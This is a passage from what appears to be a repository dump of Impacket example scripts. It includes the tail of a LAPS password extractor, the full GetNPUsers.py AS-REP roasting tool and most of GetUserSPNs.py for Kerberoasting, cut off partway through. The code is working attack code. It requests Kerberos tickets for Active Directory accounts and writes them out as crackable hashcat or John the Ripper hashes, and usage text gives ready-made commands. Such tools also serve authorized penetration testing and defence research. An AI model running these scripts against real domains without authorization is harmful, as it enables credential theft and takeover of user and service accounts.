print((version.BANNER))\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Extract LAPS passwords from LDAP\")\n\n    parser.add_argument('target', action='store', help='domain[/username[:password]]')\n    parser.add_argument('-computer', action='store', metavar='computername', help='Target a specific computer by its name')\n\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-outputfile', '-o', action='store', help='Outputs to a file.')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CcnAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '\n                                                                              'ommited it use the domain part (FQDN) '\n                                                                              'specified in the target parameter')\n    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '\n                                                                              'If ommited, the domain part (FQDN) '\n                                                                              'specified in the account parameter will be used')\n    \n    group.add_argument('-ldaps', dest='ldaps_flag', action=\"store_true\", help='Enable LDAPS (LDAP over SSL). '\n                                                                                'Required when querying a Windows Server 2025'\n                                                                                'domain controller with LDAPS enforced.')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, options.k = parse_identity(options.target, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    try:\n        executer = GetLAPSPassword(username, password, domain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))"
  },
  {
    "path": "examples/GetNPUsers.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will attempt to list and get TGTs for those users that have the property\n#   'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH).\n#   For those users with such configuration, a John The Ripper output will be generated so\n#   you can send it for cracking.\n#\n#   Original credit for this technique goes to @harmj0y:\n#   https://blog.harmj0y.net/activedirectory/roasting-as-reps/\n#   Related work by Geoff Janjua:\n#   https://www.exumbraops.com/layerone2016/party\n#\n#   For usage instructions run the script with no parameters.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport datetime\nimport logging\nimport random\nimport sys\nfrom binascii import hexlify\n\nfrom pyasn1.codec.der import decoder, encoder\nfrom pyasn1.type.univ import noValue\n\nfrom impacket import version\nfrom impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity, ldap_login\nfrom impacket.krb5 import constants\nfrom impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter\nfrom impacket.krb5.kerberosv5 import sendReceive, KerberosError\nfrom impacket.krb5.types import KerberosTime, Principal\nfrom impacket.ldap import ldap, ldapasn1\n\n\nclass GetUserNoPreAuth:\n    @staticmethod\n    def printTable(items, header):\n        colLen = []\n        for i, col in enumerate(header):\n            rowMaxLen = max([len(row[i]) for row in items])\n            colLen.append(max(rowMaxLen, len(col)))\n\n        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])\n\n        # Print header\n        print(outputFormat.format(*header))\n        print('  '.join(['-' * itemLen for itemLen in colLen]))\n\n        # And now the rows\n        for row in items:\n            print(outputFormat.format(*row))\n\n    def __init__(self, username, password, domain, cmdLineOptions):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__target = None\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__no_pass = cmdLineOptions.no_pass\n        self.__outputFileName = cmdLineOptions.outputfile\n        self.__outputFormat = cmdLineOptions.format\n        self.__usersFile = cmdLineOptions.usersfile\n        self.__aesKey = cmdLineOptions.aesKey\n        self.__doKerberos = cmdLineOptions.k\n        self.__requestTGT = cmdLineOptions.request\n        #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost\n        self.__kdcIP = cmdLineOptions.dc_ip\n        self.__kdcHost = cmdLineOptions.dc_host\n        if cmdLineOptions.hashes is not None:\n            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')\n\n        # Create the baseDN\n        domainParts = self.__domain.split('.')\n        self.baseDN = ''\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n\n    @staticmethod\n    def getUnixTime(t):\n        t -= 116444736000000000\n        t /= 10000000\n        return t\n\n    def getTGT(self, userName, requestPAC=True):\n\n        clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n\n        asReq = AS_REQ()\n\n        domain = self.__domain.upper()\n        serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n\n        pacRequest = KERB_PA_PAC_REQUEST()\n        pacRequest['include-pac'] = requestPAC\n        encodedPacRequest = encoder.encode(pacRequest)\n\n        asReq['pvno'] = 5\n        asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)\n\n        asReq['padata'] = noValue\n        asReq['padata'][0] = noValue\n        asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)\n        asReq['padata'][0]['padata-value'] = encodedPacRequest\n\n        reqBody = seq_set(asReq, 'req-body')\n\n        opts = list()\n        opts.append(constants.KDCOptions.forwardable.value)\n        opts.append(constants.KDCOptions.renewable.value)\n        opts.append(constants.KDCOptions.proxiable.value)\n        reqBody['kdc-options'] = constants.encodeFlags(opts)\n\n        seq_set(reqBody, 'sname', serverName.components_to_asn1)\n        seq_set(reqBody, 'cname', clientName.components_to_asn1)\n\n        if domain == '':\n            raise Exception('Empty Domain not allowed in Kerberos')\n\n        reqBody['realm'] = domain\n\n        now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n        reqBody['till'] = KerberosTime.to_asn1(now)\n        reqBody['rtime'] = KerberosTime.to_asn1(now)\n        reqBody['nonce'] = random.getrandbits(31)\n\n        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)\n\n        seq_set_iter(reqBody, 'etype', supportedCiphers)\n\n        message = encoder.encode(asReq)\n\n        try:\n            r = sendReceive(message, domain, self.__kdcIP)\n        except KerberosError as e:\n            if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n                # RC4 not available, OK, let's ask for newer types\n                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),\n                                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)\n                seq_set_iter(reqBody, 'etype', supportedCiphers)\n                message = encoder.encode(asReq)\n                r = sendReceive(message, domain, self.__kdcIP)\n            else:\n                raise e\n\n        # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the\n        # 'Do not require Kerberos preauthentication' set\n        try:\n            asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]\n        except:\n            # Most of the times we shouldn't be here, is this a TGT?\n            asRep = decoder.decode(r, asn1Spec=AS_REP())[0]\n        else:\n            # The user doesn't have UF_DONT_REQUIRE_PREAUTH set\n            raise Exception('User %s doesn\\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)\n\n        # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.\n        if self.__outputFormat == 'john':\n            # Check what type of encryption is used for the enc-part data\n            # This will inform how the hash output needs to be formatted\n            if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18:\n                return '$krb5asrep$%d$%s%s$%s$%s' % (asRep['enc-part']['etype'], domain, clientName,\n                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode(),\n                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode())\n            else:\n                return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,\n                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),\n                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())\n        \n        # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.\n        else:\n            # Check what type of encryption is used for the enc-part data\n            # This will inform how the hash output needs to be formatted\n            if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18:\n                return '$krb5asrep$%d$%s$%s$%s$%s' % (asRep['enc-part']['etype'], clientName, domain,\n                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode(),\n                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode())\n            else:\n                return '$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'], clientName, domain,\n                                                      hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),\n                                                      hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())\n\n    @staticmethod\n    def outputTGT(entry, fd=None):\n        print(entry)\n        if fd is not None:\n            fd.write(entry + '\\n')\n\n    def run(self):\n        if self.__usersFile:\n            self.request_users_file_TGTs()\n            return\n\n        # Are we asked not to supply a password?\n        if self.__doKerberos is False and self.__no_pass is True:\n            # Yes, just ask the TGT and exit\n            logging.info('Getting TGT for %s' % self.__username)\n            entry = self.getTGT(self.__username)\n            self.request_multiple_TGTs([self.__username])\n            return\n\n        try:\n            # Connect to LDAP\n            ldapConnection = ldap_login(self.__target, self.baseDN, self.__kdcIP, self.__kdcHost, self.__doKerberos, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)\n            # updating \"self.__target\" as it may have changed in the ldap_login processing\n            self.__target = ldapConnection._dstHost\n        except ldap.LDAPSessionError as e:\n            if str(e).find('strongerAuthRequired') < 0:\n                # Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled)\n                logging.info('Cannot authenticate %s, getting its TGT' % self.__username)\n                entry = self.getTGT(self.__username)\n                self.request_multiple_TGTs([self.__username])   \n                return\n\n        # Building the search filter\n        searchFilter = \"(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)\" \\\n                       \"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))\" % \\\n                       (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)\n\n        try:\n            logging.debug('Search Filter=%s' % searchFilter)\n            resp = ldapConnection.search(searchFilter=searchFilter,\n                                         attributes=['sAMAccountName',\n                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],\n                                         sizeLimit=999)\n        except ldap.LDAPSearchError as e:\n            if e.getErrorString().find('sizeLimitExceeded') >= 0:\n                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')\n                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement\n                # paged queries\n                resp = e.getAnswers()\n                pass\n            else:\n                if str(e).find('NTLMAuthNegotiate') >= 0:\n                    logging.critical(\"NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos \"\n                                     \"authentication instead.\")\n                else:\n                    if self.__kdcIP is not None and self.__kdcHost is not None:\n                        logging.critical(\"If the credentials are valid, check the hostname and IP address of KDC. They \"\n                                         \"must match exactly each other\")\n                raise\n\n        answers = []\n        logging.debug('Total of records returned %d' % len(resp))\n\n        for item in resp:\n            if isinstance(item, ldapasn1.SearchResultEntry) is not True:\n                continue\n            mustCommit = False\n            sAMAccountName =  ''\n            memberOf = ''\n            pwdLastSet = ''\n            userAccountControl = 0\n            lastLogon = 'N/A'\n            try:\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        sAMAccountName = str(attribute['vals'][0])\n                        mustCommit = True\n                    elif str(attribute['type']) == 'userAccountControl':\n                        userAccountControl = \"0x%x\" % int(attribute['vals'][0])\n                    elif str(attribute['type']) == 'memberOf':\n                        memberOf = str(attribute['vals'][0])\n                    elif str(attribute['type']) == 'pwdLastSet':\n                        if str(attribute['vals'][0]) == '0':\n                            pwdLastSet = '<never>'\n                        else:\n                            pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                    elif str(attribute['type']) == 'lastLogon':\n                        if str(attribute['vals'][0]) == '0':\n                            lastLogon = '<never>'\n                        else:\n                            lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                if mustCommit is True:\n                    answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])\n            except Exception as e:\n                logging.debug(\"Exception:\", exc_info=True)\n                logging.error('Skipping item, cannot process due to error %s' % str(e))\n                pass\n\n        if len(answers)>0:\n            self.printTable(answers, header=[ \"Name\", \"MemberOf\", \"PasswordLastSet\", \"LastLogon\", \"UAC\"])\n            print('\\n\\n')\n\n            if self.__requestTGT is True:\n                usernames = [answer[0] for answer in answers]\n                self.request_multiple_TGTs(usernames)\n\n        else:\n            print(\"No entries found!\")\n\n    def request_users_file_TGTs(self):\n        with open(self.__usersFile) as fi:\n            usernames = [line.strip() for line in fi]\n\n        self.request_multiple_TGTs(usernames)\n\n    def request_multiple_TGTs(self, usernames):\n        if self.__outputFileName is not None:\n            fd = open(self.__outputFileName, 'w+')\n        else:\n            fd = None\n        for username in usernames:\n            try:\n                entry = self.getTGT(username)\n                self.outputTGT(entry, fd)\n            except Exception as e:\n                logging.error('%s' % str(e))\n        if fd is not None:\n            fd.close()\n\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Queries target domain for users with \"\n                                  \"'Do not require Kerberos preauthentication' set and export their TGTs for cracking\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]]')\n    parser.add_argument('-request', action='store_true', default=False, help='Requests TGT for users and output them '\n                                                                               'in JtR/hashcat format (default False)')\n    parser.add_argument('-outputfile', action='store',\n                        help='Output filename to write ciphers in JtR/hashcat format')\n\n    parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat',\n                        help='format to save the AS_REQ of users without pre-authentication. Default is hashcat')\n\n    parser.add_argument('-usersfile', help='File with user per line to test')\n\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '\n                                                                              'ommited it use the domain part (FQDN) '\n                                                                              'specified in the target parameter')\n    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '\n                                                                              'If ommited, the domain part (FQDN) '\n                                                                              'specified in the account parameter will be used')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        print(\"\\nThere are a few modes for using this script\")\n        print(\"\\n1. Get a TGT for a user:\")\n        print(\"\\n\\tGetNPUsers.py contoso.com/john.doe -no-pass\")\n        print(\"\\nFor this operation you don\\'t need john.doe\\'s password. It is important tho, to specify -no-pass in the script, \"\n              \"\\notherwise a badpwdcount entry will be added to the user\")\n        print(\"\\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set\")\n        print(\"\\n\\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily\")\n        print(\"\\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \\nHowever \"\n              \"it will require you to have emily\\'s password. (If you don\\'t specify it, it will be asked by the script)\")\n        print(\"\\n3. Request TGTs for all users\")\n        print(\"\\n\\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily\")\n        print(\"\\n4. Request TGTs for users in a file\")\n        print(\"\\n\\tGetNPUsers.py -no-pass -usersfile users.txt contoso.com/\")\n        print(\"\\nFor this operation you don\\'t need credentials.\")\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, options.k = parse_identity(options.target, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    if options.k is False and options.no_pass is True and username == '' and options.usersfile is None:\n        logging.critical('If the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!')\n        sys.exit(1)\n\n    if options.outputfile is not None:\n        options.request = True\n\n    try:\n        executer = GetUserNoPreAuth(username, password, domain, options)\n        executer.run()\n    except Exception as e:\n        logging.debug(\"Exception:\", exc_info=True)\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/GetUserSPNs.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This module will try to find Service Principal Names that are associated with normal user account.\n#   Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request\n#   will encrypt the ticket with the account the SPN is running under, this could be used for an offline\n#   bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.\n#   This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at\n#   https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf\n#\n#   Original idea of implementing this in Python belongs to @skelsec and his\n#   https://github.com/skelsec/PyKerberoast project\n#\n#   This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key.\n#   Also, disabled accounts won't be shown.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# ToDo:\n#   [X] Add the capability for requesting TGS and output them in JtR/hashcat format\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport logging\nimport sys\nfrom datetime import datetime\nfrom binascii import hexlify, unhexlify\n\nfrom pyasn1.codec.der import decoder\nfrom impacket import version\nfrom impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, \\\n    UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity, ldap_login\nfrom impacket.krb5 import constants\nfrom impacket.krb5.asn1 import TGS_REP, AS_REP\nfrom impacket.krb5.ccache import CCache\nfrom impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS\nfrom impacket.krb5.types import Principal\nfrom impacket.ldap import ldap, ldapasn1\nfrom impacket.ntlm import compute_lmhash, compute_nthash\n\n\nclass GetUserSPNs:\n    @staticmethod\n    def printTable(items, header):\n        colLen = []\n        for i, col in enumerate(header):\n            rowMaxLen = max([len(row[i]) for row in items])\n            colLen.append(max(rowMaxLen, len(col)))\n\n        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])\n\n        # Print header\n        print(outputFormat.format(*header))\n        print('  '.join(['-' * itemLen for itemLen in colLen]))\n\n        # And now the rows\n        for row in items:\n            print(outputFormat.format(*row))\n\n    def __init__(self, username, password, user_domain, target_domain, cmdLineOptions):\n        self.__username = username\n        self.__password = password\n        self.__domain = user_domain\n        self.__target = None\n        self.__targetDomain = target_domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__no_preauth = cmdLineOptions.no_preauth\n        self.__outputFileName = cmdLineOptions.outputfile\n        self.__usersFile = cmdLineOptions.usersfile\n        self.__aesKey = cmdLineOptions.aesKey\n        self.__doKerberos = cmdLineOptions.k\n        self.__requestTGS = cmdLineOptions.request\n        # [!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost\n        self.__kdcIP = cmdLineOptions.dc_ip\n        self.__kdcHost = cmdLineOptions.dc_host\n        self.__saveTGS = cmdLineOptions.save\n        self.__requestUser = cmdLineOptions.request_user\n        self.__stealth = cmdLineOptions.stealth\n        self.__machineOnly = cmdLineOptions.machine_only\n        self.__requestMachine = cmdLineOptions.request_machine\n\n        if cmdLineOptions.hashes is not None:\n            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')\n\n\n\n        # Create the baseDN\n        domainParts = self.__targetDomain.split('.')\n        self.baseDN = ''\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n        # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain\n        # because then the KDC host will be used for both\n        # the initial and the referral ticket, which breaks stuff.\n        if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost):\n            logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.')\n            self.__kdcIP = None\n            self.__kdcHost = None\n\n    @staticmethod\n    def getUnixTime(t):\n        t -= 116444736000000000\n        t /= 10000000\n        return t\n\n    def getTGT(self):\n        domain, _, TGT, _ = CCache.parseFile(self.__domain)\n        if TGT is not None:\n            return TGT\n\n        # No TGT in cache, request it\n        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n\n        # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the\n        # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the\n        # cleartext password.\n        # If no clear text password is provided, we just go with the defaults.\n        if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''):\n            try:\n                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,\n                                                                        compute_lmhash(self.__password),\n                                                                        compute_nthash(self.__password), self.__aesKey,\n                                                                        kdcHost=self.__kdcIP)\n            except Exception as e:\n                logging.debug('TGT: %s' % str(e))\n                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,\n                                                                        unhexlify(self.__lmhash),\n                                                                        unhexlify(self.__nthash), self.__aesKey,\n                                                                        kdcHost=self.__kdcIP)\n\n        else:\n            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,\n                                                                    unhexlify(self.__lmhash),\n                                                                    unhexlify(self.__nthash), self.__aesKey,\n                                                                    kdcHost=self.__kdcIP)\n        TGT = {}\n        TGT['KDC_REP'] = tgt\n        TGT['cipher'] = cipher\n        TGT['sessionKey'] = sessionKey\n\n        return TGT\n\n    def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):\n        if self.__no_preauth:\n            decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]\n        else:\n            decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]\n        # According to RFC4757 (RC4-HMAC) the cipher part is like:\n        # struct EDATA {\n        #       struct HEADER {\n        #               OCTET Checksum[16];\n        #               OCTET Confounder[8];\n        #       } Header;\n        #       OCTET Data[0];\n        # } edata;\n        #\n        # In short, we're interested in splitting the checksum and the rest of the encrypted data\n        #\n        # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)\n        # last 12 bytes of the encrypted ticket represent the checksum of the decrypted \n        # ticket\n        if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:\n            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (\n                constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'],\n                spn.replace(':', '~'),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())\n            if fd is None:\n                print(entry)\n            else:\n                fd.write(entry + '\\n')\n        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:\n            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (\n                constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'],\n                spn.replace(':', '~'),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())\n            if fd is None:\n                print(entry)\n            else:\n                fd.write(entry + '\\n')\n        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:\n            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (\n                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'],\n                spn.replace(':', '~'),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())\n            if fd is None:\n                print(entry)\n            else:\n                fd.write(entry + '\\n')\n        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:\n            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (\n                constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'],\n                spn.replace(':', '~'),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),\n                hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())\n            if fd is None:\n                print(entry)\n            else:\n                fd.write(entry + '\\n')\n        else:\n            logging.error('Skipping %s/%s due to incompatible e-type %d' % (\n                decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],\n                decodedTGS['ticket']['enc-part']['etype']))\n\n        if self.__saveTGS is True:\n            # Save the ticket\n            logging.debug('About to save TGS for %s' % username)\n            ccache = CCache()\n            try:\n                ccache.fromTGS(ticket, oldSessionKey, sessionKey)\n                ccache.saveFile('%s.ccache' % username)\n            except Exception as e:\n                logging.error(str(e))\n\n    def run(self):\n        if self.__usersFile:\n            self.request_users_file_TGSs()\n            return\n\n        # Connect to LDAP\n        ldapConnection = ldap_login(self.__target, self.baseDN, self.__kdcIP, self.__kdcHost, self.__doKerberos, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, target_domain=self.__targetDomain, fqdn=True)\n        # updating \"self.__target\" as it may have changed in the ldap_login processing\n        self.__target = ldapConnection._dstHost\n\n        # Building the search filter\n        filter_spn = \"servicePrincipalName=*\"\n        filter_person = \"objectCategory=person\"\n        filter_computer = \"objectCategory=computer\"\n        filter_not_disabled = \"!(userAccountControl:1.2.840.113556.1.4.803:=2)\"\n\n        if self.__machineOnly is True:\n            logging.debug('-machine-only flag detected')\n            searchFilter = \"(&\"\n            searchFilter += \"(\" + filter_computer + \")\"\n            searchFilter += \"(\" + filter_not_disabled + \")\"\n\n            # not updating to F-string due to other code using old string formatting\n            if self.__requestMachine is not None:\n                logging.debug('Including machine account (%s) in LDAP query filter' % self.__requestMachine)\n                searchFilter += '(sAMAccountName:=%s)' % (self.__requestMachine)\n\n        # traditional SPN based on person search\n        else:\n            searchFilter = \"(&\"\n            searchFilter += \"(\" + filter_person + \")\"\n            searchFilter += \"(\" + filter_not_disabled + \")\"\n\n            if self.__requestUser is not None:\n                searchFilter += '(sAMAccountName:=%s)' % self.__requestUser\n\n        if self.__stealth is True:\n            logging.warning('Stealth option may cause huge memory consumption / out-of-memory errors on very large domains.')\n        else:\n            searchFilter += \"(\" + filter_spn + \")\"\n\n\n\n        searchFilter += ')'\n\n        try:\n            # Microsoft Active Directory set an hard limit of 1000 entries returned by any search\n            paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000)\n\n            resp = ldapConnection.search(searchFilter=searchFilter,\n                                         attributes=['servicePrincipalName', 'sAMAccountName',\n                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],\n                                         searchControls=[paged_search_control])\n\n        except ldap.LDAPSearchError as e:\n            if e.getErrorString().find('sizeLimitExceeded') >= 0:\n                # We should never reach this code as we use paged search now\n                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')\n                resp = e.getAnswers()\n                pass\n            else:\n                raise\n\n        answers = []\n        logging.debug('Total of records returned %d' % len(resp))\n        for item in resp:\n            if isinstance(item, ldapasn1.SearchResultEntry) is not True:\n                continue\n            mustCommit = False\n            sAMAccountName = ''\n            memberOf = ''\n            SPNs = []\n            pwdLastSet = ''\n            userAccountControl = 0\n            lastLogon = 'N/A'\n            